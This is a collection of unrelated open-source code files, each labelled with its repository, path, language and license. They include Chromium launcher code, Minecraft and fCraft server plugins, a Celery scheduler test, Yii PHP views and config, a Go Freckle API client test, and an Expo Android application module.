id_to_item_controller_map_.find(id) != id_to_item_controller_map_.end(); } ash::LauncherID ChromeLauncherControllerPerBrowser::CreateAppShortcutLauncherItem( const std::string& app_id, int index) { AppShortcutLauncherItemController* controller = new AppShortcutLauncherItemController(app_id, this); ash::LauncherID launcher_id = InsertAppLauncherItem( controller, app_id, ash::STATUS_CLOSED, index); return launcher_id; } void ChromeLauncherControllerPerBrowser::SetAppTabHelperForTest( AppTabHelper* helper) { app_tab_helper_.reset(helper); } void ChromeLauncherControllerPerBrowser::SetAppIconLoaderForTest( extensions::AppIconLoader* loader) { app_icon_loader_.reset(loader); } const std::string& ChromeLauncherControllerPerBrowser::GetAppIdFromLauncherIdForTest( ash::LauncherID id) { return id_to_item_controller_map_[id]->app_id(); }
codenote/chromium-test
chrome/browser/ui/ash/launcher/chrome_launcher_controller_per_browser.cc
C++
bsd-3-clause
47,718
package me.michidk.zsurvivalgames.utils; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Player; import java.util.ArrayList; import java.util.List; /** * Created with IntelliJ IDEA. * User: ml * Date: 03.09.13 * Time: 13:33 * To change this template use File | Settings | File Templates. */ public class MathHelper { public static List<Location> getCircleLocs(Location loc, Integer r, Integer h, Boolean hollow, Boolean sphere, int plus_y) { List<Location> circleblocks = new ArrayList<>(); int cx = loc.getBlockX(); int cy = loc.getBlockY(); int cz = loc.getBlockZ(); for (int x = cx - r; x <= cx + r; x++) { for (int z = cz - r; z <= cz + r; z++) { for (int y = (sphere ? cy - r : cy); y < (sphere ? cy + r : cy + h); y++) { double dist = (cx - x) * (cx - x) + (cz - z) * (cz - z) + (sphere ? (cy - y) * (cy - y) : 0); if (dist < r * r && !(hollow && dist < (r - 1) * (r - 1))) { circleblocks.add(new Location(loc.getWorld(), x, y + plus_y, z)); } } } } return circleblocks; } public static double getPercentage(int now, int max) { return Math.round(((double) now / (double) max) * 100D) / 100D; } public static void setXPProgress(Player p, int now, int max) { p.setLevel(now); p.setExp(1 - (float) (getPercentage(now, max))); } public static void setXPProgress(int now, int max) { for (Player p : Bukkit.getOnlinePlayers()) { setXPProgress(p, now, max); } } public static float toDegree(double angle) { return (float) Math.toDegrees(angle); } }
FuseMCNetwork/ZSurvivalGames
src/main/java/me/michidk/zsurvivalgames/utils/MathHelper.java
Java
bsd-3-clause
1,791
#include <crtdbg.h> #include "stdafx.h" #include <et/core/tools.h> #include <et/gui/fontgen.h> using namespace et; using namespace et::gui; const int maxFontSize = 128; const int maxFontOffset = 32; void displayHelp(_TCHAR* argv[]) { std::cout << "Using: " << std::endl << getFileName(argv[0]) << std::endl << " -out OUTFILENAME" << std::endl << " -face FONTFACE" << std::endl << " -size FONTSIZE" << std::endl << " -offset CHAROFFSET" << std::endl; } int _tmain(int argc, _TCHAR* argv[]) { _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); std::string fontFace = "Tahoma"; std::string fontSize = "12"; std::string outFile = ""; std::string fontOffset = "0"; if ((argc == 1) || (argc % 2 == 0)) { displayHelp(argv); return 0; } for (int i = 1; i < argc; ++i) { if (strcmp(argv[i], "-help") == 0) { displayHelp(argv); return 0; } else if (strcmp(argv[i], "-out") == 0) { if (++i >= argc) break; outFile = argv[i]; } else if (strcmp(argv[i], "-face") == 0) { if (++i >= argc) break; fontFace = argv[i]; } else if (strcmp(argv[i], "-size") == 0) { if (++i >= argc) break; fontSize = argv[i]; } else if (strcmp(argv[i], "-offset") == 0) { if (++i >= argc) break; fontOffset = argv[i]; } } if (outFile.size() == 0) outFile = fontFace; FontGenerator gen; gen.setFontFace(fontFace); gen.setOutputFile(outFile); int size = strToInt(fontSize); if ((size < 0) || (size > maxFontSize)) { std::cout << "Font size is not valid. Should be greater than zero and less than " << maxFontSize << std::endl; return 0; } gen.setSize(size); int offset = strToInt(fontOffset); if ((offset < 0) || (offset > maxFontOffset)) { std::cout << "Font offset is not valid. Should be greater than zero and less than " << maxFontSize << std::endl; return 0; } gen.setOffset(static_cast<float>(offset)); std::cout << "Generating font: " << fontFace << ", " << fontSize << std::endl; std::cout.flush(); switch (gen.generate()) { case FontGeneratorResult_OutputFileFailed: { std::cout << "Output file failed to write." << std::endl; break; } case FontGeneratorResult_OutputFileNotDefined: { std::cout << "Output file is not defined." << std::endl; break; } case FontGeneratorResult_Success: { std::cout << "Success" << std::endl; break; } default: { std::cout << "???" << std::endl; } } return 0; }
sergeyreznik/et-engine
tools/FontGen/main.cpp
C++
bsd-3-clause
2,573
package ru.evgeniyosipov.facshop.store.ejb; import ru.evgeniyosipov.facshop.entity.Administrator; import ru.evgeniyosipov.facshop.entity.Groups; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import ru.evgeniyosipov.facshop.entity.Person; @Stateless public class AdministratorBean extends AbstractFacade<Administrator> { @PersistenceContext(unitName = "facshopPU") private EntityManager em; private boolean lastAdministrator; @Override protected EntityManager getEntityManager() { return em; } public Person getAdministratorByEmail(String email) { Query createNamedQuery = getEntityManager().createNamedQuery("Person.findByEmail"); createNamedQuery.setParameter("email", email); if (createNamedQuery.getResultList().size() > 0) { return (Person) createNamedQuery.getSingleResult(); } else { return null; } } public AdministratorBean() { super(Administrator.class); } @Override public void create(Administrator admin) { Groups adminGroup = (Groups) em.createNamedQuery("Groups.findByName") .setParameter("name", "ADMINS") .getSingleResult(); admin.getGroupsList().add(adminGroup); adminGroup.getPersonList().add(admin); em.persist(admin); em.merge(adminGroup); } public boolean isLastAdmimistrator() { return lastAdministrator; } @Override public void remove(Administrator admin) { Groups adminGroup = (Groups) em.createNamedQuery("Groups.findByName") .setParameter("name", "ADMINS") .getSingleResult(); if (adminGroup.getPersonList().size() > 1) { adminGroup.getPersonList().remove(admin); em.remove(em.merge(admin)); em.merge(adminGroup); lastAdministrator = false; } else { lastAdministrator = true; } } }
evgeniyosipov/facshop
facshop-store/src/main/java/ru/evgeniyosipov/facshop/store/ejb/AdministratorBean.java
Java
bsd-3-clause
2,075
/** * Keydown * */ module.exports = function() { /* * this swallows backspace keys on any non-input element. * stops backspace -> back */ var rx = /INPUT|SELECT|TEXTAREA/i; $('body').bind("keydown keypress", function(e) { var key = e.keyCode || e.which; if( key == 8) { // 8 == backspace or ENTER if(!rx.test(e.target.tagName) || e.target.disabled || e.target.readOnly ){ e.preventDefault(); } } else if(key == 13) { } }); };
vulcan-estudios/bsk
src/app/helpers/events/keypress/backspace.js
JavaScript
bsd-3-clause
552
<?php use yii\helpers\Html; use yii\grid\GridView; /* @var $this yii\web\View */ /* @var $searchModel app\modules\autoparts\models\PartOverSearch */ /* @var $dataProvider yii\data\ActiveDataProvider */ $this->title = 'Part Overs'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="part-over-index"> <h1><?= Html::encode($this->title) ?></h1> <?php // echo $this->render('_search', ['model' => $searchModel]); ?> <p> <?= Html::a('Создать запись', ['create'], ['class' => 'btn btn-success']) ?> <?= Html::a('Загрузить CSV файл', ['upload'], ['class' => 'btn btn-primary']) ?> </p> <?= GridView::widget([ 'dataProvider' => $dataProvider, 'filterModel' => $searchModel, 'columns' => [ ['class' => 'yii\grid\SerialColumn'], 'code', 'name', 'manufacture', 'price', 'quantity', 'date_update', 'flagpostav', // 'srokmin', // 'srokmax', // 'lotquantity', // 'pricedate', // 'skladid', // 'sklad', // 'flagpostav', ['class' => 'yii\grid\ActionColumn'], ], ]); ?> </div>
kd-brinex/kd
modules/autoparts/views/over/index.php
PHP
bsd-3-clause
1,271
from __future__ import unicode_literals from celery_longterm_scheduler import get_scheduler from celery_longterm_scheduler.conftest import CELERY import mock import pendulum @CELERY.task def echo(arg): return arg def test_should_store_all_arguments_needed_for_send_task(celery_worker): # Cannot do this with a Mock, since they (technically correctly) # differentiate recording calls between args and kw, so a call # `send_task(1, 2, 3)` is not considered equal to # `send_task(1, args=2, kwargs=3)`, although semantically it is the same. def record_task( name, args=None, kwargs=None, countdown=None, eta=None, task_id=None, producer=None, connection=None, router=None, result_cls=None, expires=None, publisher=None, link=None, link_error=None, add_to_parent=True, group_id=None, retries=0, chord=None, reply_to=None, time_limit=None, soft_time_limit=None, root_id=None, parent_id=None, route_name=None, shadow=None, chain=None, task_type=None, **options): options.update(dict( args=args, kwargs=kwargs, countdown=countdown, eta=eta, task_id=task_id, producer=producer, connection=connection, router=router, result_cls=result_cls, expires=expires, publisher=publisher, link=link, link_error=link_error, add_to_parent=add_to_parent, group_id=group_id, retries=retries, chord=chord, reply_to=reply_to, time_limit=time_limit, soft_time_limit=soft_time_limit, root_id=root_id, parent_id=parent_id, route_name=route_name, shadow=shadow, chain=chain, task_type=task_type )) calls.append((name, options)) calls = [] with mock.patch.object(CELERY, 'send_task', new=record_task): result = echo.apply_async(('foo',), eta=pendulum.now()) task = get_scheduler(CELERY).backend.get(result.id) args = task[0] kw = task[1] # schedule() always generates an ID itself (to reuse it for the # scheduler storage), while the normal apply_async() defers that to # send_task(). We undo this here for comparison purposes. kw['task_id'] = None CELERY.send_task(*args, **kw) scheduled_call = calls[0] echo.apply_async(('foo',)) normal_call = calls[1] # Special edge case, see Task._schedule() for an explanation normal_call[1]['result_cls'] = None assert scheduled_call == normal_call def test_should_bypass_if_no_eta_given(): with mock.patch( 'celery_longterm_scheduler.task.Task._schedule') as schedule: result = echo.apply_async(('foo',)) assert schedule.call_count == 0 result.get() # Be careful about test isolation result = echo.apply_async(('foo',), eta=None) assert schedule.call_count == 0 result.get() # Be careful about test isolation echo.apply_async(('foo',), eta=pendulum.now()) assert schedule.call_count == 1
ZeitOnline/celery_longterm_scheduler
src/celery_longterm_scheduler/tests/test_task.py
Python
bsd-3-clause
3,059
<?php return [ 'class' => 'yii\db\Connection', 'dsn' => 'mysql:host=localhost;dbname=yii2basic', 'username' => 'root', 'password' => 'mariadb', 'charset' => 'utf8', ];
hrydi/yii_
config/db.php
PHP
bsd-3-clause
189
/** * Copyright (c) 2009-2015, rultor.com * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: 1) Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. 2) Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. 3) Neither the name of the rultor.com nor * the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.rultor.agents.github; import com.jcabi.aspects.Immutable; import com.jcabi.github.Comment; import java.io.IOException; import java.net.URI; /** * Question. * * @author Yegor Bugayenko (yegor@teamed.io) * @version $Id$ * @since 1.3 */ @Immutable public interface Question { /** * Empty always. */ Question EMPTY = new Question() { @Override public Req understand(final Comment.Smart comment, final URI home) { return Req.EMPTY; } }; /** * Understand it and return the request. * @param comment The comment * @param home Home URI of the daemon * @return Request (or Req.EMPTY is nothing found) * @throws IOException If fails */ Req understand(Comment.Smart comment, URI home) throws IOException; }
joansmith/rultor
src/main/java/com/rultor/agents/github/Question.java
Java
bsd-3-clause
2,379
// Copyright 2009-2013 Matvei Stefarov <me@matvei.org> using System; using System.Collections.Generic; using System.Linq; namespace fCraft { static class ChatCommands { public static void Init() { CommandManager.RegisterCommand( CdSay ); CommandManager.RegisterCommand( CdStaff ); CommandManager.RegisterCommand( CdIgnore ); CommandManager.RegisterCommand( CdUnignore ); CommandManager.RegisterCommand( CdMe ); CommandManager.RegisterCommand( CdRoll ); CommandManager.RegisterCommand( CdDeafen ); CommandManager.RegisterCommand( CdClear ); CommandManager.RegisterCommand( CdTimer ); CommandManager.RegisterCommand( CdReply ); } #region Reply static readonly CommandDescriptor CdReply = new CommandDescriptor { Name = "Reply", Aliases = new[] {"re"}, Category = CommandCategory.Chat, Permissions = new[] {Permission.Chat}, IsConsoleSafe = true, UsableByFrozenPlayers = true, Usage = "/Re <Message>", Help = "Replies to the last message that was sent TO you. " + "To follow up on the last message that YOU sent, use &H@-&S instead.", Handler = ReplyHandler }; static void ReplyHandler( Player player, CommandReader cmd ) { string messageText = cmd.NextAll(); if( messageText.Length == 0 ) { player.Message( "Reply: No message to send!" ); return; } string targetName = player.lastPrivateMessageSender; if( targetName != null ) { Player targetPlayer = Server.FindPlayerExact( player, targetName, SearchOptions.IncludeHidden ); if( targetPlayer != null ) { if( player.CanSee( targetPlayer ) ) { if( targetPlayer.IsDeaf ) { player.Message( "Cannot PM {0}&S: they are currently deaf.", targetPlayer.ClassyName ); } else if( targetPlayer.IsIgnoring( player.Info ) ) { player.Message( "&WCannot PM {0}&W: you are ignored.", targetPlayer.ClassyName ); } else { Chat.SendPM( player, targetPlayer, messageText ); player.MessageNow( "&Pto {0}: {1}", targetPlayer.Name, messageText ); } } else { player.Message( "Reply: Cannot send message; player {0}&S is offline.", PlayerDB.FindExactClassyName( targetName ) ); if( targetPlayer.CanHear( player ) ) { Chat.SendPM( player, targetPlayer, messageText ); player.Info.DecrementMessageWritten(); } } } else { player.Message( "Reply: Cannot send message; player {0}&S is offline.", PlayerDB.FindExactClassyName( targetName ) ); } } else { player.Message( "Reply: You have not sent any messages yet." ); } } #endregion #region Say static readonly CommandDescriptor CdSay = new CommandDescriptor { Name = "Say", Aliases = new[] { "broadcast" }, Category = CommandCategory.Chat, IsConsoleSafe = true, NotRepeatable = true, DisableLogging = true, UsableByFrozenPlayers = true, Permissions = new[] { Permission.Chat, Permission.Say }, Usage = "/Say Message", Help = "Shows a message in special color, without the player name prefix. " + "Can be used for making announcements.", Handler = SayHandler }; static void SayHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; if( player.Can( Permission.Say ) ) { string msg = cmd.NextAll().Trim( ' ' ); if( msg.Length > 0 ) { Chat.SendSay( player, msg ); } else { CdSay.PrintUsage( player ); } } else { player.MessageNoAccess( Permission.Say ); } } #endregion #region Staff static readonly CommandDescriptor CdStaff = new CommandDescriptor { Name = "Staff", Aliases = new[] { "st" }, Category = CommandCategory.Chat | CommandCategory.Moderation, Permissions = new[] { Permission.Chat }, NotRepeatable = true, IsConsoleSafe = true, DisableLogging = true, UsableByFrozenPlayers = true, Usage = "/Staff Message", Help = "Broadcasts your message to all operators/moderators on the server at once.", Handler = StaffHandler }; static void StaffHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; string message = cmd.NextAll().Trim( ' ' ); if( message.Length > 0 ) { Chat.SendStaff( player, message ); } } #endregion #region Ignore / Unignore static readonly CommandDescriptor CdIgnore = new CommandDescriptor { Name = "Ignore", Category = CommandCategory.Chat, IsConsoleSafe = true, Usage = "/Ignore [PlayerName]", Help = "Temporarily blocks the other player from messaging you. " + "If no player name is given, lists all ignored players.", Handler = IgnoreHandler }; static void IgnoreHandler( Player player, CommandReader cmd ) { string name = cmd.Next(); if( name != null ) { if( cmd.HasNext ) { // too many parameters given CdIgnore.PrintUsage( player ); return; } // A name was given -- let's find the target PlayerInfo targetInfo = PlayerDB.FindPlayerInfoOrPrintMatches( player, name, SearchOptions.ReturnSelfIfOnlyMatch ); if( targetInfo == null ) return; if( targetInfo == player.Info ) { player.Message( "You cannot &H/Ignore&S yourself." ); return; } if( player.Ignore( targetInfo ) ) { player.MessageNow( "You are now ignoring {0}", targetInfo.ClassyName ); } else { player.MessageNow( "You are already ignoring {0}", targetInfo.ClassyName ); } } else { ListIgnoredPlayers( player ); } } static readonly CommandDescriptor CdUnignore = new CommandDescriptor { Name = "Unignore", Category = CommandCategory.Chat, IsConsoleSafe = true, Usage = "/Unignore PlayerName", Help = "Unblocks the other player from messaging you.", Handler = UnignoreHandler }; static void UnignoreHandler( Player player, CommandReader cmd ) { string name = cmd.Next(); if( name != null ) { if( cmd.HasNext ) { // too many parameters given CdUnignore.PrintUsage( player ); return; } // A name was given -- let's find the target PlayerInfo targetInfo = PlayerDB.FindPlayerInfoOrPrintMatches( player, name, SearchOptions.ReturnSelfIfOnlyMatch ); if( targetInfo == null ) return; if( targetInfo == player.Info ) { player.Message( "You cannot &H/Ignore&S (or &H/Unignore&S) yourself." ); return; } if( player.Unignore( targetInfo ) ) { player.MessageNow( "You are no longer ignoring {0}", targetInfo.ClassyName ); } else { player.MessageNow( "You are not currently ignoring {0}", targetInfo.ClassyName ); } } else { ListIgnoredPlayers( player ); } } static void ListIgnoredPlayers( Player player ) { PlayerInfo[] ignoreList = player.IgnoreList; if( ignoreList.Length > 0 ) { player.MessageNow( "Ignored players: {0}", ignoreList.JoinToClassyString() ); } else { player.MessageNow( "You are not currently ignoring anyone." ); } } #endregion #region Me static readonly CommandDescriptor CdMe = new CommandDescriptor { Name = "Me", Category = CommandCategory.Chat, Permissions = new[] { Permission.Chat }, IsConsoleSafe = true, NotRepeatable = true, DisableLogging = true, UsableByFrozenPlayers = true, Usage = "/Me Message", Help = "Sends IRC-style action message prefixed with your name.", Handler = MeHandler }; static void MeHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; string msg = cmd.NextAll().Trim( ' ' ); if( msg.Length > 0 ) { Chat.SendMe( player, msg ); } else { CdMe.PrintUsage( player ); } } #endregion #region Roll static readonly CommandDescriptor CdRoll = new CommandDescriptor { Name = "Roll", Category = CommandCategory.Chat, Permissions = new[] { Permission.Chat }, IsConsoleSafe = true, Help = "Gives random number between 1 and 100.\n" + "&H/Roll MaxNumber\n" + "&S Gives number between 1 and max.\n" + "&H/Roll MinNumber MaxNumber\n" + "&S Gives number between min and max.", Handler = RollHandler }; static void RollHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; Random rand = new Random(); int n1; int min, max; if( cmd.NextInt( out n1 ) ) { int n2; if( !cmd.NextInt( out n2 ) ) { n2 = 1; } min = Math.Min( n1, n2 ); max = Math.Max( n1, n2 ); } else { min = 1; max = 100; } if( max == Int32.MaxValue - 1 ) { player.Message( "Roll: Given values must be between {0} and {1}", Int32.MinValue, Int32.MaxValue - 1 ); return; } int num = rand.Next( min, max + 1 ); Server.Message( player, "{0}{1} rolled {2} ({3}...{4})", player.ClassyName, Color.Silver, num, min, max ); player.Message( "{0}You rolled {1} ({2}...{3})", Color.Silver, num, min, max ); } #endregion #region Deafen static readonly CommandDescriptor CdDeafen = new CommandDescriptor { Name = "Deafen", Aliases = new[] { "deaf" }, Category = CommandCategory.Chat, Help = "Blocks all chat messages from being sent to you.", Handler = DeafenHandler }; static void DeafenHandler( Player player, CommandReader cmd ) { if( cmd.HasNext ) { CdDeafen.PrintUsage( player ); return; } if( !player.IsDeaf ) { for( int i = 0; i < LinesToClear; i++ ) { player.MessageNow( "" ); } player.MessageNow( "Deafened mode: ON" ); player.MessageNow( "You will not see ANY messages until you type &H/Deafen&S again." ); player.IsDeaf = true; } else { player.IsDeaf = false; player.MessageNow( "Deafened mode: OFF" ); } } #endregion #region Clear const int LinesToClear = 30; static readonly CommandDescriptor CdClear = new CommandDescriptor { Name = "Clear", UsableByFrozenPlayers = true, Category = CommandCategory.Chat, Help = "Clears the chat screen.", Handler = ClearHandler }; static void ClearHandler( Player player, CommandReader cmd ) { if( cmd.HasNext ) { CdClear.PrintUsage( player ); return; } for( int i = 0; i < LinesToClear; i++ ) { player.Message( "" ); } } #endregion #region Timer static readonly CommandDescriptor CdTimer = new CommandDescriptor { Name = "Timer", Permissions = new[] { Permission.UseTimers }, IsConsoleSafe = true, Category = CommandCategory.Chat, Usage = "/Timer <Duration> <Message>", Help = "Starts a timer with a given duration and message. " + "As the timer counts down, announcements are shown globally. See also: &H/Help Timer Abort", HelpSections = new Dictionary<string, string> { { "abort", "&H/Timer Abort <TimerID>\n&S" + "Aborts a timer with the given ID number. " + "To see a list of timers and their IDs, type &H/Timer&S (without any parameters)." } }, Handler = TimerHandler }; static void TimerHandler( Player player, CommandReader cmd ) { string param = cmd.Next(); // List timers if( param == null ) { ChatTimer[] list = ChatTimer.TimerList.OrderBy( timer => timer.TimeLeft ).ToArray(); if( list.Length == 0 ) { player.Message( "No timers running." ); } else { player.Message( "There are {0} timers running:", list.Length ); foreach( ChatTimer timer in list ) { player.Message( " #{0} \"{1}&S\" (started by {2}, {3} left)", timer.ID, timer.Message, timer.StartedBy, timer.TimeLeft.ToMiniString() ); } } return; } // Abort a timer if( param.Equals( "abort", StringComparison.OrdinalIgnoreCase ) ) { int timerId; if( cmd.NextInt( out timerId ) ) { ChatTimer timer = ChatTimer.FindTimerById( timerId ); if( timer == null || !timer.IsRunning ) { player.Message( "Given timer (#{0}) does not exist.", timerId ); } else { timer.Abort(); string abortMsg = String.Format( "&Y(Timer) {0}&Y aborted a timer with {1} left: {2}", player.ClassyName, timer.TimeLeft.ToMiniString(), timer.Message ); Chat.SendSay( player, abortMsg ); } } else { CdTimer.PrintUsage( player ); } return; } // Start a timer if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; TimeSpan duration; if( !param.TryParseMiniTimeSpan( out duration ) ) { CdTimer.PrintUsage( player ); return; } if( duration > DateTimeUtil.MaxTimeSpan ) { player.MessageMaxTimeSpan(); return; } if( duration < ChatTimer.MinDuration ) { player.Message( "Timer: Must be at least 1 second." ); return; } string sayMessage; string message = cmd.NextAll(); if( String.IsNullOrEmpty( message ) ) { sayMessage = String.Format( "&Y(Timer) {0}&Y started a {1} timer", player.ClassyName, duration.ToMiniString() ); } else { sayMessage = String.Format( "&Y(Timer) {0}&Y started a {1} timer: {2}", player.ClassyName, duration.ToMiniString(), message ); } Chat.SendSay( player, sayMessage ); ChatTimer.Start( duration, message, player.Name ); } #endregion } }
111WARLOCK111/Caznowl-Cube-Zombie
fCraft/Commands/ChatCommands.cs
C#
bsd-3-clause
18,005
@javax.xml.bind.annotation.XmlSchema(namespace = "http://dto7.api.echosign", elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED) package echosign.api.clientv20.dto7;
OBHITA/Consent2Share
ThirdParty/adobe-echosign-api/src/main/java/echosign/api/clientv20/dto7/package-info.java
Java
bsd-3-clause
182
// Copyright 2014 - anova r&d bvba. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package freckle import ( "fmt" "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/assert" ) const domain = "mydomain" const token = "abcdefghijklmnopqrstuvwxyz" func letsTestFreckle(ts *httptest.Server) Freckle { f := LetsFreckle(domain, token) f.Debug(true) f.base = ts.URL return f } func authenticated(t *testing.T, method, path string, fn func(w http.ResponseWriter, r *http.Request)) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { assert.Equal(t, method, r.Method, "Should have been HTTP "+method) assert.Equal(t, path, r.URL.Path, "Should have been HTTP URL "+path) assert.Equal(t, domain, r.Header.Get("User-Agent"), "User-Agent header should have been set") assert.Equal(t, token, r.Header.Get("X-FreckleToken"), "X-FreckleToken header should have been set") fn(w, r) }) } func response(body string) func(http.ResponseWriter, *http.Request) { return func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, body) } } func noContent() func(http.ResponseWriter, *http.Request) { return func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(204) } }
gertv/go-freckle
freckle_test.go
GO
bsd-3-clause
1,325
package expo.modules.application; import android.app.Activity; import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Build; import android.os.RemoteException; import android.provider.Settings; import android.util.Log; import com.android.installreferrer.api.InstallReferrerClient; import com.android.installreferrer.api.InstallReferrerStateListener; import com.android.installreferrer.api.ReferrerDetails; import org.unimodules.core.ExportedModule; import org.unimodules.core.ModuleRegistry; import org.unimodules.core.Promise; import org.unimodules.core.interfaces.ActivityProvider; import org.unimodules.core.interfaces.ExpoMethod; import org.unimodules.core.interfaces.RegistryLifecycleListener; import java.util.HashMap; import java.util.Map; public class ApplicationModule extends ExportedModule implements RegistryLifecycleListener { private static final String NAME = "ExpoApplication"; private static final String TAG = ApplicationModule.class.getSimpleName(); private ModuleRegistry mModuleRegistry; private Context mContext; private ActivityProvider mActivityProvider; private Activity mActivity; public ApplicationModule(Context context) { super(context); mContext = context; } @Override public String getName() { return NAME; } @Override public void onCreate(ModuleRegistry moduleRegistry) { mModuleRegistry = moduleRegistry; mActivityProvider = moduleRegistry.getModule(ActivityProvider.class); mActivity = mActivityProvider.getCurrentActivity(); } @Override public Map<String, Object> getConstants() { HashMap<String, Object> constants = new HashMap<>(); String applicationName = mContext.getApplicationInfo().loadLabel(mContext.getPackageManager()).toString(); String packageName = mContext.getPackageName(); constants.put("applicationName", applicationName); constants.put("applicationId", packageName); PackageManager packageManager = mContext.getPackageManager(); try { PackageInfo pInfo = packageManager.getPackageInfo(packageName, 0); constants.put("nativeApplicationVersion", pInfo.versionName); int versionCode = (int)getLongVersionCode(pInfo); constants.put("nativeBuildVersion", Integer.toString(versionCode)); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Exception: ", e); } constants.put("androidId", Settings.Secure.getString(mContext.getContentResolver(), Settings.Secure.ANDROID_ID)); return constants; } @ExpoMethod public void getInstallationTimeAsync(Promise promise) { PackageManager packageManager = mContext.getPackageManager(); String packageName = mContext.getPackageName(); try { PackageInfo info = packageManager.getPackageInfo(packageName, 0); promise.resolve((double)info.firstInstallTime); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Exception: ", e); promise.reject("ERR_APPLICATION_PACKAGE_NAME_NOT_FOUND", "Unable to get install time of this application. Could not get package info or package name.", e); } } @ExpoMethod public void getLastUpdateTimeAsync(Promise promise) { PackageManager packageManager = mContext.getPackageManager(); String packageName = mContext.getPackageName(); try { PackageInfo info = packageManager.getPackageInfo(packageName, 0); promise.resolve((double)info.lastUpdateTime); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Exception: ", e); promise.reject("ERR_APPLICATION_PACKAGE_NAME_NOT_FOUND", "Unable to get last update time of this application. Could not get package info or package name.", e); } } @ExpoMethod public void getInstallReferrerAsync(final Promise promise) { final StringBuilder installReferrer = new StringBuilder(); final InstallReferrerClient referrerClient; referrerClient = InstallReferrerClient.newBuilder(mContext).build(); referrerClient.startConnection(new InstallReferrerStateListener() { @Override public void onInstallReferrerSetupFinished(int responseCode) { switch (responseCode) { case InstallReferrerClient.InstallReferrerResponse.OK: // Connection established and response received try { ReferrerDetails response = referrerClient.getInstallReferrer(); installReferrer.append(response.getInstallReferrer()); } catch (RemoteException e) { Log.e(TAG, "Exception: ", e); promise.reject("ERR_APPLICATION_INSTALL_REFERRER_REMOTE_EXCEPTION", "RemoteException getting install referrer information. This may happen if the process hosting the remote object is no longer available.", e); } promise.resolve(installReferrer.toString()); break; case InstallReferrerClient.InstallReferrerResponse.FEATURE_NOT_SUPPORTED: // API not available in the current Play Store app promise.reject("ERR_APPLICATION_INSTALL_REFERRER_UNAVAILABLE", "The current Play Store app doesn't provide the installation referrer API, or the Play Store may not be installed."); break; case InstallReferrerClient.InstallReferrerResponse.SERVICE_UNAVAILABLE: // Connection could not be established promise.reject("ERR_APPLICATION_INSTALL_REFERRER_CONNECTION", "Could not establish a connection to Google Play"); break; default: promise.reject("ERR_APPLICATION_INSTALL_REFERRER", "General error retrieving the install referrer: response code " + responseCode); } referrerClient.endConnection(); } @Override public void onInstallReferrerServiceDisconnected() { promise.reject("ERR_APPLICATION_INSTALL_REFERRER_SERVICE_DISCONNECTED", "Connection to install referrer service was lost."); } }); } private static long getLongVersionCode(PackageInfo info) { if (Build.VERSION.SDK_INT >= 28) { return info.getLongVersionCode(); } return info.versionCode; } }
exponent/exponent
packages/expo-application/android/src/main/java/expo/modules/application/ApplicationModule.java
Java
bsd-3-clause
6,171
